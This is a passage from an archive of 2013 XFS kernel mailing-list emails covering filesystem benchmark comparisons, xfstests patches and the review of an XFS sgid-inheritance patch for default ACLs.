http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136176 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon 08-07-13 17:22:43, Marco Stornelli wrote: > Il 08/07/2013 15:59, Jan Kara ha scritto: > >On Mon 08-07-13 22:44:53, Dave Chinner wrote: > > > >>So, lets look at ext4 vs btrfs vs XFS at 16-way (this is on the > >>3.10-cil kernel I've been testing XFS on): > >> > >> create walk unlink > >> time(s) rate time(s) time(s) > >>xfs 222 266k+-32k 170 295 > >>ext4 978 54k+- 2k 325 2053 > >>btrfs 1223 47k+- 8k 366 12000(*) > >> > >>(*) Estimate based on a removal rate of 18.5 minutes for the first > >>4.8 million inodes. > >> > >>Basically, neither btrfs or ext4 have any concurrency scaling to > >>demonstrate, and unlinks on btrfs a just plain woeful. > > Thanks for posting the numbers. There isn't anyone seriously testing ext4 > >SMP scalability AFAIK so it's not surprising it sucks. > > Funny, if I well remember Google guys switched android from yaffs2 > to ext4 due to its superiority on SMP :) Well, there's SMP and SMP. Ext4 is perfectly OK for desktop kind of SMP - that's what lots of people use. When we speak of heavy IO load with 16 CPUs on enterprise grade storage so that CPU (and not IO) bottlenecks are actually visible, that's not so easily available and so we don't have serious performance work in that direction... Honza -- Jan Kara SUSE Labs, CR From bpm@sgi.com Mon Jul 8 13:01:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5AF527F37 for ; Mon, 8 Jul 2013 13:01:50 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id D71A030407B; Mon, 8 Jul 2013 11:01:46 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A8E7F500B50; Mon, 8 Jul 2013 13:01:46 -0500 (CDT) Date: Mon, 8 Jul 2013 13:01:46 -0500 From: Ben Myers To: Josef Bacik Cc: sandeen@redhat.com, xfs@oss.sgi.com, Dave Chinner Subject: Re: [PATCH] xfstests: use xfs_io fiemap instead of filefrag V2 Message-ID: <20130708180146.GG20932@sgi.com> References: <1372083696-10402-1-git-send-email-jbacik@fusionio.com> <20130626021943.GE29376@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130626021943.GE29376@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jun 26, 2013 at 12:19:43PM +1000, Dave Chinner wrote: > On Mon, Jun 24, 2013 at 10:21:36AM -0400, Josef Bacik wrote: > > Btrfs has always failed shared/218 because of the way we allocate extents on > > disk. The last part of 218 writes contiguously holey from the start of the file > > forward, which for btrfs means we get 16 extents but they are physically > > contigous. filefrag -v shows all 16 extents, but prints out that there is 1 > > extent, because they are physically contiguous. This isn't quite right and > > makes the test fail. So instead of using filefrag use xfs_io -c fiemap which > > will print the whole map and then get the count from there. With this patch > > btrfs now passes the test, I also verified that ext4 and xfs still pass this > > test. Thanks, > > > > Signed-off-by: Josef Bacik > > --- > > V1->V2: change _require_defrag to check for xfs_io having fiemap support as per > > Eric's suggestion. > > > > common/defrag | 6 +++--- > > 1 files changed, 3 insertions(+), 3 deletions(-) > > > > diff --git a/common/defrag b/common/defrag > > index f04fd42..a4bc976 100644 > > --- a/common/defrag > > +++ b/common/defrag > > @@ -38,13 +38,13 @@ _require_defrag() > > esac > > > > _require_command $DEFRAG_PROG > > - _require_command $FILEFRAG_PROG > > + _require_xfs_io_fiemap > > } > > > > _extent_count() > > { > > - $FILEFRAG_PROG $1 | awk '{print $2}' > > - $FILEFRAG_PROG -v $1 >> $seqres.full 2>&1 > > + $XFS_IO_PROG -c "fiemap" $1 | tail -n +2 | grep -v hole | wc -l > > + $XFS_IO_PROG -c "fiemap" $1 >> $seqres.full 2>&1 > > Looks good, but you can do that with a single fiemap execution: > > $XFS_IO_PROG -c "fiemap" $1 | tee -a $seqres.full |\ > | tail -n +2 | grep -v hole | wc -l > > Still good either way > > Reviewed-by: Dave Chinner Applied. From bpm@sgi.com Mon Jul 8 13:56:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1F13B7F37 for ; Mon, 8 Jul 2013 13:56:39 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id E1A778F8052; Mon, 8 Jul 2013 11:56:38 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C2DD0500B50; Mon, 8 Jul 2013 13:56:38 -0500 (CDT) Date: Mon, 8 Jul 2013 13:56:38 -0500 From: Ben Myers To: Carlos Maiolino Cc: xfs@oss.sgi.com Subject: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Message-ID: <20130708185638.GH20932@sgi.com> References: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> <20130703152410.GH24238@andromeda.usersys.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130703152410.GH24238@andromeda.usersys.redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Carlos, On Wed, Jul 03, 2013 at 12:24:12PM -0300, Carlos Maiolino wrote: > Hi, any comments on this one? This goes with generic/313, right? http://oss.sgi.com/archives/xfs/2013-05/msg00957.html Thanks, Ben > On Fri, Jun 21, 2013 at 02:45:53PM -0300, Carlos Maiolino wrote: > > XFS removes sgid bits of subdirectories under a directory containing a default > > acl. > > > > When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its > > code path. Such function is shared among mkdir and chmod system calls, and > > does some checks unneeded by mkdir (calling inode_change_ok()). Such checks > > remove sgid bit from the inode after it has been granted. > > > > With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these > > checks when acls are being inherited (thanks hch). > > > > Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities > > permissions, this only implies in another try to remove sgid bit from the > > directories. Such check is already done either on inode_change_ok() or > > xfs_setattr_nonsize(). > > > > Changelog: > > > > V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another > > function > > > > V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch > > > > Signed-off-by: Carlos Maiolino > > --- > > fs/xfs/xfs_iops.c | 20 ++++++++++---------- > > 1 file changed, 10 insertions(+), 10 deletions(-) > > > > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > > index ca9ecaa..2e5aca8 100644 > > --- a/fs/xfs/xfs_iops.c > > +++ b/fs/xfs/xfs_iops.c > > @@ -467,9 +467,6 @@ xfs_setattr_mode( > > ASSERT(tp); > > ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > > > - if (!in_group_p(inode->i_gid) && !capable(CAP_FSETID)) > > - mode &= ~S_ISGID; > > - > > ip->i_d.di_mode &= S_IFMT; > > ip->i_d.di_mode |= mode & ~S_IFMT; > > > > @@ -495,15 +492,18 @@ xfs_setattr_nonsize( > > > > trace_xfs_setattr(ip); > > > > - if (mp->m_flags & XFS_MOUNT_RDONLY) > > - return XFS_ERROR(EROFS); > > + /* If acls are being inherited, we already have this checked */ > > + if (!(flags & XFS_ATTR_NOACL)) { > > + if (mp->m_flags & XFS_MOUNT_RDONLY) > > + return XFS_ERROR(EROFS); > > > > - if (XFS_FORCED_SHUTDOWN(mp)) > > - return XFS_ERROR(EIO); > > + if (XFS_FORCED_SHUTDOWN(mp)) > > + return XFS_ERROR(EIO); > > > > - error = -inode_change_ok(inode, iattr); > > - if (error) > > - return XFS_ERROR(error); > > + error = -inode_change_ok(inode, iattr); > > + if (error) > > + return XFS_ERROR(error); > > + } > > > > ASSERT((mask & ATTR_SIZE) == 0); > > > > -- > > 1.8.1.4 > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs > > -- > Carlos > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bpm@sgi.com Mon Jul 8 16:11:25 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C2E157F37 for ; Mon, 8 Jul 2013 16:11:25 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1B6E8AC003; Mon, 8 Jul 2013 14:11:22 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id CBD31500B58; Mon, 8 Jul 2013 16:11:21 -0500 (CDT) Date: Mon, 8 Jul 2013 16:11:21 -0500 From: Ben Myers To: Carlos Maiolino Cc: xfs@oss.sgi.com Subject: Re: [PATCH] Subject: [PATCH] xfs: fix sgid inheritance for subdirectories inheriting default acls [V3] Message-ID: <20130708211121.GI20932@sgi.com> References: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1371836753-3327-1-git-send-email-cmaiolino@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 21, 2013 at 02:45:53PM -0300, Carlos Maiolino wrote: > XFS removes sgid bits of subdirectories under a directory containing a default > acl. > > When a default acl is set, it implies xfs to call xfs_setattr_nonsize() in its > code path. Such function is shared among mkdir and chmod system calls, and > does some checks unneeded by mkdir (calling inode_change_ok()). Such checks > remove sgid bit from the inode after it has been granted. > > With this patch, we extend the meaning of XFS_ATTR_NOACL flag to avoid these > checks when acls are being inherited (thanks hch). > > Also, xfs_setattr_mode, doesn't need to re-check for group id and capabilities > permissions, this only implies in another try to remove sgid bit from the > directories. Such check is already done either on inode_change_ok() or > xfs_setattr_nonsize(). > > Changelog: > > V2: Extends the meaning of XFS_ATTR_NOACL instead of wrap the tests into another > function > > V3: Remove S_ISDIR check in xfs_setattr_nonsize() from the patch > > Signed-off-by: Carlos Maiolino > --- > fs/xfs/xfs_iops.c | 20 ++++++++++---------- > 1 file changed, 10 insertions(+), 10 deletions(-) > > diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c > index ca9ecaa..2e5aca8 100644 > --- a/fs/xfs/xfs_iops.c > +++ b/fs/xfs/xfs_iops.c > @@ -467,9 +467,6 @@ xfs_setattr_mode( > ASSERT(tp); > ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); > > - if (!in_group_p(inode->i_gid) && !capable(CAP_FSETID)) > - mode &= ~S_ISGID; > - inode_change_ok has had the check for whether to clear S_ISGID since the initial import of Linus's tree, and it is called when ATTR_MODE is set there, just as in xfs_setattr_nonsize, and xfs_setattr_size. That aspect of this looks ok to me. > ip->i_d.di_mode &= S_IFMT; > ip->i_d.di_mode |= mode & ~S_IFMT; > > @@ -495,15 +492,18 @@ xfs_setattr_nonsize( > > trace_xfs_setattr(ip); > > - if (mp->m_flags & XFS_MOUNT_RDONLY) > - return XFS_ERROR(EROFS); > + /* If acls are being inherited, we already have this checked */ > + if (!(flags & XFS_ATTR_NOACL)) { > + if (mp->m_flags & XFS_MOUNT_RDONLY) > + return XFS_ERROR(EROFS); > > - if (XFS_FORCED_SHUTDOWN(mp)) > - return XFS_ERROR(EIO); > + if (XFS_FORCED_SHUTDOWN(mp)) > + return XFS_ERROR(EIO); > > - error = -inode_change_ok(inode, iattr); > - if (error) > - return XFS_ERROR(error); > + error = -inode_change_ok(inode, iattr); > + if (error) > + return XFS_ERROR(error); > + } I'm not so sure about this change yet. Looks like the two relevant callers are: .set - xattr_handler xfs_xattr_acl_set xfs_set_mode xfs_setattr_nonsize(..., XFS_ATTR_NOACL); and xfs_vn_mknod xfs_inherit_acl xfs_set_mode xfs_setattr_nonsize(..., XFS_ATTR_NOACL); I suggest moving the forced shutdown and readonly checks outside of the XFS_ATTR_NOACL conditional. I'm not seeing those checks in xfs_attr_acl_set or xfs_vn_mknod and it won't hurt to be careful. It also seems like inode_change_ok might have some other checks that are necessary to determine whether it is ok to update the mode and ctime here. A call to inode_owner_or_capable as is done in inode_change_ok would cover this possibility. Other than those two suggestions this looks pretty good to me. Regards, Ben From bpm@sgi.com Mon Jul 8 16:30:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 94E0C7F51 for ; Mon, 8 Jul 2013 16:30:05 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7F2AE304067; Mon, 8 Jul 2013 14:30:02 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 0D49B500B58; Mon, 8 Jul 2013 16:30:02 -0500 (CDT) Date: Mon, 8 Jul 2013 16:30:01 -0500 From: Ben Myers To: Josef Bacik Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: make fs for 274 larger Message-ID: <20130708213001.GJ20932@sgi.com> References: <1371846670-21882-1-git-send-email-jbacik@fusionio.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1371846670-21882-1-git-send-email-jbacik@fusionio.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jun 21, 2013 at 04:31:10PM -0400, Josef Bacik wrote: > Btrfs will default to mixed block groups for 1 gigabyte file systems and > smaller, which means data and metadata share the same area. This makes > generic/274 fail for us because we cannot reserve enough metadata space to do > our writes. Bumping the scratch fs up to 2 gigabytes allows us to do our normal > metadata/data seperation and allows us to pass this test. Thanks, > > Signed-off-by: Josef Bacik XFS and ext4 still passed with this patch. Reviewed-by: Ben Myers From bpm@sgi.com Mon Jul 8 16:51:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A1E27F55 for ; Mon, 8 Jul 2013 16:51:52 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7EF32AC007; Mon, 8 Jul 2013 14:51:51 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 3951B500B58; Mon, 8 Jul 2013 16:51:51 -0500 (CDT) Date: Mon, 8 Jul 2013 16:51:51 -0500 From: Ben Myers To: Carlos Maiolino Cc: Eric Sandeen , Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfstests: generic/313, test sgid inheritance on subdirs Message-ID: <20130708215151.GK20932@sgi.com> References: <51A68175.9020202@redhat.com> <51A7B03E.2080909@sandeen.net> <20130612192320.GA12955@andromeda.usersys.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130612192320.GA12955@andromeda.usersys.redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Carlos & Eric, On Wed, Jun 12, 2013 at 04:23:20PM -0300, Carlos Maiolino wrote: > I'm personally working on this bug with Eric, and the test properly trigger the > bug on 100% of the test runs, but, it should also ensure that > `irix_sgid_inherit` sysctl is set to 0, if not, the test will fail. > > follow is a suggestion for a better changelog: > > Tests if subdirectories created on the filesystem will properly inherit sgid bit > when this is set on the parent directory, once the process has the properly > permissions to create a subdirectory, this, should inherit parent's sgid bit if > this is set and irix_sgid_inherit sysctl is disabled. I applied this and tested with Carlos's latest patch: generic/313 - output mismatch (see /root/xfstests/results/generic/313.out.bad) --- tests/generic/313.out 2013-07-08 16:27:41.787710646 -0500 +++ /root/xfstests/results/generic/313.out.bad 2013-07-08 16:47:46.052683735 -0500 @@ -1,3 +1,3 @@ QA output created by 313 -drwxr-sr-x. TEST_DIR/313-dir/subdir +drwxr-sr-x TEST_DIR/313-dir/subdir drwxrwsr-x+ TEST_DIR/313-dir/subdir2 ... (Run 'diff -u tests/generic/313.out /root/xfstests/results/generic/313.out.bad' to see the entire diff) Looks like there could be a problem with ls? Have you seen that? Thanks, Ben From bpm@sgi.com Mon Jul 8 17:00:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 23B757F51 for ; Mon, 8 Jul 2013 17:00:29 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9384FAC003; Mon, 8 Jul 2013 15:00:28 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 5440E500B50; Mon, 8 Jul 2013 17:00:28 -0500 (CDT) Date: Mon, 8 Jul 2013 17:00:28 -0500 From: Ben Myers To: Eryu Guan Cc: xfs@oss.sgi.com Subject: Re: [PATCH v3] xfstests generic/313: test ctime and mtime are updated on truncate and ftruncate Message-ID: <20130708220028.GL20932@sgi.com> References: <20130625174952.GB20932@sgi.com> <1372347130-24325-1-git-send-email-eguan@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1372347130-24325-1-git-send-email-eguan@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Jun 27, 2013 at 11:32:10PM +0800, Eryu Guan wrote: > Regression test for commit: > 3972f26 btrfs: update timestamps on truncate() > > Reviewed-by: Ben Myers > Signed-off-by: Eryu Guan Applied. From bpm@sgi.com Mon Jul 8 17:15:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F25D97F55 for ; Mon, 8 Jul 2013 17:15:46 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id DF316304039; Mon, 8 Jul 2013 15:15:43 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id B3562500B50; Mon, 8 Jul 2013 17:15:43 -0500 (CDT) Date: Mon, 8 Jul 2013 17:15:43 -0500 From: Ben Myers To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfstest: ensure small symlink is removed Message-ID: <20130708221543.GN20932@sgi.com> References: <20130617203513.700537361@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130617203513.700537361@sgi.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Jun 17, 2013 at 08:35:05PM -0500, Mark Tinguely wrote: > Tests the XFS symlinks that are small enough to be in the > inode, but were move to a remote symlink due to an extended > attribute were correctly removed. > > Signed-off-by: Mark Tinguely Works great. Reviewed-by: Ben Myers From bpm@sgi.com Mon Jul 8 17:41:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 580B37F52 for ; Mon, 8 Jul 2013 17:41:34 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0A96A304067; Mon, 8 Jul 2013 15:41:33 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id AF190500B58; Mon, 8 Jul 2013 17:41:33 -0500 (CDT) Date: Mon, 8 Jul 2013 17:41:33 -0500 From: Ben Myers To: Yann Droneaud Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 10/13] xfs: use get_unused_fd_flags(0) instead of get_unused_fd() Message-ID: <20130708224133.GA23250@sgi.com> References: <8d21b76c621dbfc59b2dbbfc933f96170835304d.1372777600.git.ydroneaud@opteya.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8d21b76c621dbfc59b2dbbfc933f96170835304d.1372777600.git.ydroneaud@opteya.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Tue, Jul 02, 2013 at 06:39:34PM +0200, Yann Droneaud wrote: > Macro get_unused_fd() is used to allocate a file descriptor with > default flags. Those default flags (0) can be "unsafe": > O_CLOEXEC must be used by default to not leak file descriptor > across exec(). > > Instead of macro get_unused_fd(), functions anon_inode_getfd() > or get_unused_fd_flags() should be used with flags given by userspace. > If not possible, flags should be set to O_CLOEXEC to provide userspace > with a default safe behavor. > > In a further patch, get_unused_fd() will be removed so that > new code start using anon_inode_getfd() or get_unused_fd_flags() > with correct flags. > > This patch replaces calls to get_unused_fd() with equivalent call to > get_unused_fd_flags(0) to preserve current behavor for existing code. > > The hard coded flag value (0) should be reviewed on a per-subsystem basis, > and, if possible, set to O_CLOEXEC. > > Signed-off-by: Yann Droneaud > > --- > fs/xfs/xfs_ioctl.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c > index 5e99968..dc5b659 100644 > --- a/fs/xfs/xfs_ioctl.c > +++ b/fs/xfs/xfs_ioctl.c > @@ -248,7 +248,7 @@ xfs_open_by_handle( > goto out_dput; > } > > - fd = get_unused_fd(); > + fd = get_unused_fd_flags(0); O_CLOEXEC should be fine in this case. Reviewed-by: Ben Myers From sekharan@us.ibm.com Mon Jul 8 18:20:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2BED77F5D for ; Mon, 8 Jul 2013 18:20:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D3CD8F804B for ; Mon, 8 Jul 2013 16:20:37 -0700 (PDT) X-ASG-Debug-ID: 1373325636-04cb6c2a46a3bb40001-NocioJ Received: from e38.co.us.ibm.com (e38.co.us.ibm.com [32.97.110.159]) by cuda.sgi.com with ESMTP id zx6hbqwtotmXjtVI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 08 Jul 2013 16:20:36 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.159 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] Received: from /spool/local by e38.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Mon, 8 Jul 2013 17:20:36 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e38.co.us.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Mon, 8 Jul 2013 17:20:34 -0600 Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 0EB9019D8042 for ; Mon, 8 Jul 2013 17:20:23 -0600 (MDT) Received: from d03av04.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r68NKXNF158318 for ; Mon, 8 Jul 2013 17:20:33 -0600 Received: from d03av04.boulder.ibm.com (loopback [127.0.0.1]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r68NKVEK031158 for ; Mon, 8 Jul 2013 17:20:32 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av04.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r68NKVho031143; Mon, 8 Jul 2013 17:20:31 -0600 Subject: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20130704011208.GR14996@dastard> References: <1372042107-27332-1-git-send-email-sekharan@us.ibm.com> <1372042107-27332-5-git-send-email-sekharan@us.ibm.com> <20130625063135.GU29376@dastard> <1372693830.9777.4.camel@chandra-dt.ibm.com> <20130704011208.GR14996@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Mon, 08 Jul 2013 18:20:30 -0500 Message-ID: <1373325630.9777.286.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13070823-5518-0000-0000-0000102F4000 X-Barracuda-Connect: e38.co.us.ibm.com[32.97.110.159] X-Barracuda-Start-Time: 1373325636 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-07-04 at 11:12 +1000, Dave Chinner wrote: > On Mon, Jul 01, 2013 at 10:50:30AM -0500, Chandra Seetharaman wrote: > > Hi Dave, > > > > I sent this email on 6/25 (just before my reply on 5/6 w.r.t adding the > > test to xfstests). Since I didn't get any response from you on this and > > got reply on the other one, I concluded that you accepted my > > justification/clarification. > > > > I just looked at the archives and do not see my original email :(... but > > is intact in my sent folder!! > > > > Please see if my justification below is valid. > > > > Chandra > > > > On Tue, 2013-06-25 at 16:31 +1000, Dave Chinner wrote: > > > On Sun, Jun 23, 2013 at 09:48:25PM -0500, Chandra Seetharaman wrote: > > > > Start using pquotino and define a macro to check if the > > > > superblock has pquotino. > > > > > > > > Keep backward compatibilty by alowing mount of older superblock > > > > with no separate pquota inode. > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > --- > > > > fs/xfs/xfs_fsops.c | 3 +- > > > > fs/xfs/xfs_mount.c | 51 +++++++++++++++++++++++++++++++-------- > > > > fs/xfs/xfs_qm.c | 22 +++++++++-------- > > > > fs/xfs/xfs_qm_syscalls.c | 24 ++++++++++++++++-- > > > > fs/xfs/xfs_quota.h | 8 ------ > > > > fs/xfs/xfs_sb.h | 16 +++++++++++- > > > > fs/xfs/xfs_super.c | 14 ++++++---- > > > > include/uapi/linux/dqblk_xfs.h | 1 + > > > > 8 files changed, 99 insertions(+), 40 deletions(-) > > > > > > > > diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c > > > > index 614eb0c..3bf05f4 100644 > > > > --- a/fs/xfs/xfs_fsops.c > > > > +++ b/fs/xfs/xfs_fsops.c > > > > @@ -501,7 